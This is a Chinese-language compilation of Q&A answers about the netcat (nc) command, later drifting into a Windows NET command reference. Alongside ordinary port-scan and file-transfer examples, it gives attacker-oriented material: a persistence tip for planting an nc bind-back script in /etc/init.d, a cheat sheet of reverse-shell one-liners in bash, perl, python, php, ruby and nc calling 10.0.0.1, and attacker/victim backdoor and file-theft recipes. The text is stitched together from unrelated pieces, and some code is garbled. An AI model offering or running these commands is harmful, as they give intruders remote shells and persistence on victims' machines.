Linux中nc命令是一個功能強大的網路工具，全稱是netcat。
語法：
nc [-hlnruz][-g<網關...>][-G<指向器數目>][-i<延遲秒數>][-o<輸出文件>][-p<通信埠>][-s<來源位址>][-v...][-w<超時秒數>][主機名稱][通信埠...]
參數說明：
-g<網關> 設置路由器躍程通信網關，最丟哦可設置8個。
-G<指向器數目> 設置來源路由指向器，其數值為4的倍數。
-h 在線幫助。
-i<延遲秒數> 設置時間間隔，以便傳送信息及掃描通信埠。
-l 使用監聽模式，管控傳入的資料。
-n 直接使用IP地址，而不通過域名伺服器。
-o<輸出文件> 指定文件名稱，把往來傳輸的數據以16進制字碼傾倒成該文件保存。
-p<通信埠> 設置本地主機使用的通信埠。
-r 亂數指定本地與遠端主機的通信埠。
-s<來源位址> 設置本地主機送出數據包的IP地址。
-u 使用UDP傳輸協議。
-v 顯示指令執行過程。
-w<超時秒數> 設置等待連線的時間。
-z 使用0輸入/輸出模式，只在掃描通信埠時使用。
實例：
1、TCP埠掃描
# nc -v -z -w2 127.0.0.1 1-100
Connection to 127.0.0.1 22 port [tcp/ssh] succeeded!
Connection to 127.0.0.1 53 port [tcp/domain] succeeded!
Connection to 127.0.0.1 80 port [tcp/http] succeeded!
...
nc: connect to 127.0.0.1 port 100 (tcp) failed: Connection refused
2、從192.168.1.2拷貝文件到192.168.1.3
首先在接收端192.168.1.3上： nc -l 1234 > test.txt
然後在發送端192.168.1.2上： nc 192.168.1.3 < test.txt
注意：先運行接收端，指定一個埠為1234，文件為test.txt，再執行發送端，並且發送端必須存在同名的文件test.txt
3、傳輸目錄
從server1(192.168.16.233)拷貝nginx目錄內容到server2(192.168.48.47)上。需要先在server2上，用nc激活監聽，
server2上運行:# nc -l 1234 | tar xzv-
server1上運行:# tar czv- nginx | nc 192.168.48.47 1234
4、簡單聊天工具
在192.168.1.2上： nc -l 1234
在192.168.1.3上： nc 192.168.1.2 1234
這樣，雙方就可以相互交流了。使用ctrl+C(或D）退出
2. 為什麼CentOS或Redhat的netcat命令中沒有-e選項，如何才能使用此選項。不想重新編譯安裝。
我覺得，之所以沒有這個-e參數是為了防止被控方（centos）的操作人員設置後門，
你可以嘗試到etc/init.d下寫一個nc的啟動腳本，利用由內向外的反向鏈接-c參數反彈bash（可以越過防火牆）大概是「nc -nv ip地址 53 -c bash「
在攻擊方進行偵聽53DNS埠，等著魚兒上鉤吧！！
3. linux怎麼安裝netcat
etcat-0.7.1.tar.gz
然後當然是解壓了
tar zxvf netcat-0.7.1.tar.gz
解壓完畢之後會生成目錄，要cd進去
cd netcat-0.7.1
然後進行編譯前的配置。
./configure
配置完了之後就可以make編譯了。
編譯成功就生成了netcat可執行的文件了，位於src目錄，cd進去進行運行./netcat -h.如圖
本地Windows監聽
nc -vv -l -p 1234
遠程Windows轉發
nc -t -e C:\WINDOWS\system32\cmd.exe 8.8.8.8 1234
遠程Linux轉發
./netcat 8.8.8.8 1234 -e /bin/sh
ReverseShell.c
ReverseShell.pl
ReverseShell.py
phpspy.php
———————NetCat for linux 參數e————————-
下載netcat-0.7.1.tar.gz
tar zxvf netcat-0.7.1.tar.gz
cd netcat-0.7.1
./configure
make
cd src
./netcat -h
——————————————————————–
一句話反彈命令
[Bash]
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
[PERL]
perl -e 『use Socket;$i=」10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(「tcp」));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,」>&S」);open(STDOUT,」>&S」);open(STDERR,」>&S」);exec(「/bin/sh -i」);};』
[python]
python -c 『import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((「10.0.0.1″,1234));os.p2(s.fileno(),0); os.p2(s.fileno(),1); os.p2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);』
[PHP]
php -r 『$sock=fsockopen(「10.0.0.1″,1234);exec(「/bin/sh -i <&3 >&3 2>&3″);』
[Ruby]
ruby -rsocket -e』f=TCPSocket.open(「10.0.0.1″,1234).to_i;exec sprintf(「/bin/sh -i <&%d >&%d 2>&%d」,f,f,f)』
[Netcat]
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
4. 電腦常識：DOS命令之NC的定義和用法是
NC(netcat)的使用方法!
連接到某處：nc [-options] hostname port[s] [ports].....
監聽某埠等待連接：nc -l -p port [options] [hostname] [port] -options
-d 後台運行
-e prog 程序重定向，一旦有連接，就執行綁定的程序。
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 幫助信息
-i 設定延時時間。
-l 監聽方式，等待連入。連接完成後，結束監聽。
-L 監聽方式，等待連入。連接完成後，繼續監聽。
-n 只能使用ip地址。
-o file 指定要傳送的16進制代碼。
-p port 指定本地的埠號。
-r 隨意指定本地或遠程埠號。
-s addr 本地的源地址。
-t 回顯telnet信息。
-u UDP方式。
-v 顯示詳細的信息，-vv 可獲取更詳細的信息。
-w 指定超時的時間。
-z 用於scan。
以上就是nc的一些參數和選項，注意，這是nt版本的nc。如果是*nix的需要自己編譯。也都差不多，只是netcat.c默認是沒有-t和-e這個兩個參數，要改。
看看它能幹些什麼，（偶就知道這些）
1.埠的刺探：
nc -vv ip port
2.掃描器
nc -v -w 5 ip port-port
nc -v -z ip port-port
3. 後門
victim machine:
nc -l -p port -e cmd.exe
nc -l -p port -e /bin/sh
attacker machine:
nc victim ip -p port
得到一個shell。
4.反向連接
attacker machine:
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者：
attacker machine:
nc -vv -l -p port1 /*用於輸入*/
nc -vv -l -p prot2 /*用於顯示*/
victim machine:
nc attacker ip port1 | cmd.exe | nc attacker ip port2
nc attacker ip port1 | /bin/sh | nc attacker ip port2
5.傳送文件：
attacker machine <-- victim machine
nc -d -l -p port < path file /*attacker machine*/
nc -vv attacker ip -p port > path file /*victim machine*/
attacker machine --> victim machine
nc －vv -l -p > patm file/*victim machine*/
nc -d victim ip -p port < path file /*attacker machine*/
5. Linux中如何檢查開放埠
場景一：了解系統開放的埠，和正在使用的埠，在各種情況下都會有所幫助。
比如：如果你的伺服器正在運行著 Nginx，那麼其埠應該為80或者443，可以檢查一下。再比如你可以檢查一下 SMTP、SSH或者其他服務用的是哪個埠。當有新的服務需要開放埠的時候，你需要知道目前已經被佔用的，都有哪些埠。
此外，可以檢查一下是否有開放的可用於入侵檢測的埠。
Linux 中有多種檢查埠的方法，本文將介紹兩種。
使用 lsof 檢查當前系統開放的埠
不管你是直接登錄的系統，還是使用 ssh 連接的，都可以使用 lsof 命令來檢查埠：
該命令用於查找用戶使用的文件和進程。上述命令中的選項，包括：
但是，這也會展示許多計算機並沒有監聽的其他埠。
我們可以通過管道將此輸出傳輸到 grep，並匹配模式 「LISTEN」，如下所示：
這樣就只顯示計算機正在監聽的，以及正在運行的伺服器所佔用的埠。
使用 netcat 命令檢查遠程伺服器上的埠
nc(Netcat) 是一個命令行實用程序，使用TCP和UDP協議在網路計算機之間讀取和寫入數據。
以下是nc命令的語法：
這個工具有一個很實用的 -z 選項，它會讓 nc 命令掃描正在監聽的守護進程，但是不會向埠發送任何數據。
將其與 -v 選項結合，啟動詳細信息，會有詳細信息的輸出。
losf與nc的不同點：
lsof命令簡介
lsof 命令用於顯示 Linux 系統當前已打開的所有文件列表。查看進程或系統打開的文件會給調試帶來極大的幫助。下面簡單地介紹 lsof 常使用的功能。
lsof （list open files）命令用於查看你進程打開的文件，打開文件的進程，進程打開的埠(TCP、UDP),還可以用於找回/恢復被刪除的文件。lsof 命令需要訪問核心內存和各種文件，所以需要具備 root 超級管理員許可權的用戶才能執行此命令。
linux的nc命令，NetCat，在網路工具中有「瑞士軍刀」美譽「，是解決這個問題的工具。 nc命令安裝： yum install nc
以上是看來一些文章的總結分享內容，歡迎補充討論。
6. 怎麼看linux伺服器是否帶netcat
netcat這個工具的命令是nc，只需要在終端命令行執行nc命令，如果命令行提示沒有找到命令（Command no found），就說明Linux系統上沒有netcat；反之，如果輸入nc命令後顯示了netcat的幫助信息，就說明Linux系統上帶有netcat。
7. 什麼是Linux系統中nc命令
Linux中nc命令是一個功能強大的網路工具，全稱是netcat。
測試使用
在一個終端上 輸入 nc -lk 9999
輸入數據。。。
新開啟一個終端
輸入 nc ip:9999
就可以看到上一個終端輸入的數據
8. 常用的幾條NET命令高手給介紹幾條
以下有很多，常用的有net use,net user,net time,net stop/start 等
3)NET USE
作用：連接計算機或斷開計算機與共享資源的連接，或顯示計算機的連接信息。
命令格式：net use [devicename | *] [\\computername\sharename[\volume> [password | *> [/user:[domainname\]username]
參數介紹：
鍵入不帶參數的net use列出網路連接。
devicename指定要連接到的資源名稱或要斷開的設備名稱。 \\computername\sharename伺服器及共享資源的名稱。
password訪問共享資源的密碼。
*提示鍵入密碼。 /user指定進行連接的另外一個用戶。
domainname指定另一個域。
username指定登錄的用戶名。
/home將用戶連接到其宿主目錄
/delete取消指定網路連接。
/persistent控制永久網路連接的使用。
簡單事例：
<1>net use e: \\YFANG\TEMP將\\YFANG\TEMP目錄建立為E盤
<2>net use e: \\YFANG\TEMP /delete斷開連接
(4)NET TIME
作 用：使計算機的時鍾與另一台計算機或域的時間同步。
命令格式：net time [\\computername | /domain[:name> [/set]
參數介紹：
<1>\\computername要檢查或同步的伺服器名。
<2>/domain[:name]指定要與其時間同步的域。
<3>/set使本計算機時鍾與指定計算機或域的時鍾同步。
下面的這4個參數是相關的，所以一起介紹
(5)Net Start
作 用：啟動服務，或顯示已啟動服務的列表。
命令格式：net start service
(6)Net Pause
作 用：暫停正在運行的服務。
命令格式：net pause service
(7)Net Continue
作 用：重新激活掛起的服務。
命令格式：net continue service
(8)NET STOP
作 用：停止 Windows NT 網路服務。
命令格式：net stop service
參數介紹：我們來看看這些服務都是什麼
<1>alerter(警報)
<2>client service for netware(Netware 客戶端服務)
<3>clipbook server(剪貼簿伺服器)
<4>computer browser(計算機瀏覽器)
<5>directory replicator(目錄復制器)
<6>ftp publishing service (ftp )(ftp 發行服務)
<7>lpdsvc
<8>net logon(網路登錄) <9>network dde網路 dde)
<10>network dde dsdm(網路 dde dsdm)
<11>network monitor agent(網路監控代理)
<12>nt lm security support provider(NT LM 安全性支持提供)
<13>ole(對象鏈接與嵌入)
<14>remote access connection manager(遠程訪問連接管理器)
<15>remote access isnsap service(遠程訪問 isnsap 服務)
<16>remote access server(遠程訪問伺服器)
<17>remote procere call (rpc) locator(遠程過程調用定位器)
<18>remote procere call (rpc) service(遠程過程調用服務)
<19>schele(調度)
<20>server(伺服器)
<21>simple tcp/ip services(簡單 TCP/IP 服務)
<22>snmp
<23>spooler(後台列印程序)
<24>tcp/ip netbios helper(TCP/IP NETBIOS 輔助工具)
<25>ups (26)workstation(工作站)
<27>messenger(信使)
<28>dhcp client
<29>eventlog 以下這些SERVICE只能在NT SERVER上使用
<< 1>>)file server for macintosh
<<2>>gateway service for netware
<<3>>microsoft dhcp server
<<4>>print server for macintosh
<<5>>remoteboot
<<6>>windows internet name service
(9)Net Statistics
作 用：顯示本地工作站或伺服器服務的統計記錄。
命令格式：net statistics [workstation | server]
參數介紹：
<1>鍵入不帶參數的net statistics列出其統計信息可用的運行服務。 <2>workstation顯示本地工作站服務的統計信息。
<3>server顯示本地伺服器服務的統計信息。
簡單事例:
<1>net statistics server | more顯示伺服器服務的統計信息
(10)Net Share
作 用：創建、刪除或顯示共享資源。
命令格式：net share sharename=drive:path [/users:number | /unlimited] [/remark:"text"]
參數介紹：
<1>鍵入不帶參數的net share顯示本地計算機上所有共享資源的信息。
<2>sharename是共享資源的網路名稱。
<3>drive:path指定共享目錄的絕對路徑。
<4>/users:number設置可同時訪問共享資源的最大用戶數。
<5>/unlimited不限制同時訪問共享資源的用戶數。
<6>/remark:"text "添加關於資源的注釋，注釋文字用引號引住。
簡單事例：
<1>net share mylove=c:\temp /remark:"my first share"以mylove為共享名共享C:\temp
<2>net share mylove /delete停止共享mylove目錄
(11)Net Session
作 用：列出或斷開本地計算機和與之連接的客戶端的會話，也可以寫為net sessions或net sess。
命令格式：net session [\\computername] [/delete]
參數介紹：
<1>鍵入不帶參數的net session顯示所有與本地計算機的會話的信息。
<2>\\computername標識要列出或斷開會話的計算機。
<3>/delete結束與\\computername計算機會話並關閉本次會話期間計算機的所有?
簡單事例：
<1>net session \\YFANG要顯示計算機名為YFANG的客戶端會話信息列表。
(12)Net Send
作 用：向網路的其他用戶、計算機或通信名發送消息。
命令格式：net send {name | * | /domain[:name] | /users} message 參數介紹：
<1>name要接收發送消息的用戶名、計算機名或通信名。
<2>*將消息發送到組中所有名稱。
<3>/domain[:name]將消息發送到計算機域中的所有名稱。
<4>/users將消息發送到與伺服器連接的所有用戶。
<5>message作為消息發送的文本。
簡單事例：
<1>net send /users server will shutdown in 5 minutes. 給所有連接到伺服器的用戶發送消息
(13)Net Print
作 用：顯示或控制列印作業及列印隊列。
命令格式：net print [\\computername ] job# [/hold | /release | /delete]
參數介紹：
<1>computername共享列印機隊列的計算機名。
<2>sharename列印隊列名稱。
<3>job#在列印機隊列中分配給列印作業的標識號。
<4>/hold使用 job# 時，在列印機隊列中使列印作業等待。
<5>/release釋放保留的列印作業。
<6>/delete從列印機隊列中刪除列印作業。
簡單事例：
<1>net print \\YFANG\SEEME列出\\YFANG計算機上SEEME列印機隊列的目錄
(14)Net Name
作 用：添加或刪除消息名（有時也稱別名），或顯示計算機接收消息的名稱列表。
命令格式：net name [name [/add | /delete>
參數介紹：
<1>鍵入不帶參數的net name列出當前使用的名稱。
<2>name指定接收消息的名稱。
<3>/add將名稱添加到計算機中。
<4>/delete從計算機中刪除名稱。
(15)Net Localgroup
作 用：添加、顯示或更改本地組。
命令格式：net localgroup groupname {/add [/comment:"text "] | /delete} [/domain]
參數介紹：
<1>鍵入不帶參數的net localgroup顯示伺服器名稱和計算機的本地組名稱。
<2>groupname要添加、擴充或刪除的本地組名稱。
<3>/comment: "text "為新建或現有組添加註釋。
<4>/domain在當前域的主域控制器中執行操作，否則僅在本地計算機上執行操作?
<5>name [ ...]列出要添加到本地組或從本地組中刪除的一個或多個用戶名或組名。
<6>/add將全局組名或用戶名添加到本地組中。
<7>/delete從本地組中刪除組名或用戶名。
簡單事例：
<1>net localgroup love /add將名為love的本地組添加到本地用戶帳號資料庫
<2>net localgroup love顯示love本地組中的用戶
(16)Net Group
作 用：在 Windows NT Server 域中添加、顯示或更改全局組。
命令格式：net group groupname {/add [/comment:"text "] | /delete} [/domain]
參數介紹：
<1>鍵入不帶參數的net group顯示伺服器名稱及伺服器的組名稱。
<2>groupname要添加、擴展或刪除的組。
<3>/comment:"text "為新建組或現有組添加註釋。 <4>/domain在當前域的主域控制器中執行該操作，否則在本地計算機上執行操作?
<5>username[ ...]列表顯示要添加到組或從組中刪除的一個或多個用戶。
<6>/add添加組或在組中添加用戶名。
<7>/delete刪除組或從組中刪除用戶名。
簡單事例：
<1>net group love yfang1 yfang2 /add將現有用戶帳號yfang1和yfang2添加到本地計算機的love組
(17)Net File
作 用：顯示某伺服器上所有打開的共享文件名及鎖定文件數。
命令格式：net file [id [/close>
參數介紹：
<1>鍵入不帶參數的net file獲得伺服器上打開文件的列表。
<2>id文件標識號。
<3>/close關閉打開的文件並釋放鎖定記錄。
(18)Net Config
作 用：顯示當前運行的可配置服務，或顯示並更改某項服務的設置。
命令格式：net config [service [options>
參數介紹：
<1>鍵入不帶參數的net config顯示可配置服務的列表。
<2>service通過net config命令進行配置的服務(server或workstation)
<3>options服務的特定選項。
(19)Net Computer
作 用：從域資料庫中添加或刪除計算機。
命令格式：net computer \\computername {/add | /del}
參數介紹：
<1>\\computername指定要添加到域或從域中刪除的計算機。
<2>/add將指定計算機添加到域。
<3>/del將指定計算機從域中刪除。
簡單事例：
<1>net computer \\cc /add將計算機 cc 添加到登錄域
(20)Net Accounts
作 用：更新用戶帳號資料庫、更改密碼及所有帳號的登錄要求。
命令格式：net accounts [/forcelogoff:{minutes | no}] [/minpwlen:length] [/maxpwage:{days | unlimited}] [/minpwage:days] [/uniquepw:number] [/domain]
參數介紹：
<1>鍵入不帶參數的net accounts顯示當前密碼設置、登錄時限及域信息。
<2>/forcelogoff:{minutes | no}設置當用戶帳號或有效登錄時間過期時
<3>/minpwlen:length設置用戶帳號密碼的最少字元數。
<4>/maxpwage:{days | unlimited}設置用戶帳號密碼有效的最大天數。
<5>/minpwage:days設置用戶必須保持原密碼的最小天數。
<6>/uniquepw:number要求用戶更改密碼時，必須在經過number次後才能重復使用 與之相同的密碼。
<7>/domain在當前域的主域控制器上執行該操作。 <8>/sync當用於主域控制器時，該命令使域中所有備份域控制器同步
簡單事例：
<1>net accounts /minpwlen:7
將用戶帳號密碼的最少字元數設置為7
----------------------上面介紹的是NET命令在WINNT下的基本用法
----------------------下面我們看看NET命令在WIN98下的基本用法
在WIN98中NET命令也有一些參數 其中有一些參數的名字和功能及簡單的使用方法和WINNT下的相應的參數的用法相同
其中有
(1)NET TIME命令
(2)NET PRINT命令
(3)NET USE命令
(4)NET VIEW命令
在WIN98中NET命令有一些參數 其中有一些參數的名字和WINNT下的相應的參數的名字相同但其用法卻有些不同
其中有
(1)NET START
作 用：啟動相應的服務。(不能在DOS-WIN中用)
命令格式：NET START [BASIC | NWREDIR | WORKSTATION | NETBIND | NETBEUI | NWLINK] [/LIST] [/YES] [/VERBOSE]
(2)NET STOP
作 用：停止相應的服務.(不能在DOS-WIN中用)
命令格式：NET STOP [BASIC | NWREDIR | WORKSTATION | NETBEUI | NWLINK] [/YES]
在WIN98中NET命令還有一些參數是在98下才有的
其中有
(1)NET DIAG
作 用：運行MS的DIAGNOSTICS程序顯示網路的DIAGNOSTIC信息
命令格式：NET DIAGNOSTICS [/NAMES | /STATUS]
(2)NET INIT
作 用：不通過綁定來載入協議或網卡驅動(不能在DOS-WIN中用)
命令格式：NET INITIALIZE [/DYNAMIC]
(3)NET LOGOFF
作 用：斷開連接的共享資源(不能在DOS-WIN中用)
(4)NET LOGON
作 用：在WORKGROUP中登陸(不能在DOS-WIN中用)
命令格式：NET LOGON [user [password | ?> [/DOMAIN:name] [/YES] [/SAVEPW:NO]
(5)NET PASSWORD
作 用：更改你的網路登陸口令(不能在DOS-WIN中用)
命令格式：NET PASSWORD \\computer | /DOMAIN:name [user [oldpassword [newpassword>]
回答者：fuping111 - 首席運營官 十二級 3-21 09:56
提問者對於答案的評價：
謝謝
評價已經被關閉 目前有 0 個人評價
好
50% （0） 不好
50% （0）
其他回答共 1 條
NET HELP
command
-或-
NET command /HELP
Commands available are:
NET ACCOUNTS NET HELP NET SHARE
NET COMPUTER NET HELPMSG NET START
NET CONFIG NET LOCALGROUP NET STATISTICS
NET CONFIG SERVER NET NAME NET STOP
NET CONFIG WORKSTATION NET PAUSE NET TIME
NET CONTINUE NET PRINT NET USE
NET FILE NET SEND NET USER
NET GROUP NET SESSION NET VIEW
NET HELP SERVICES 列出你可以啟動的網路服務。
NET HELP SYNTAX 解釋如何讀取 NET HELP 語法行。
NET HELP command | MORE 會以一次一個螢幕的方式顯示說明
9. windows10下有沒有nc命令
win10 64位系統下NC可以正常使用
win10系統打開控制面板方法：方法一
1、打開開始菜單，點擊所有應用。
2、找到windows系統，點擊打開下級菜單，在當中找到控制面板點擊打開即可。
方法二
1、點擊開始菜單旁邊的搜索按鈕。
2、在下方搜索框中輸入控制面板，然後打開上方的搜索結果即可。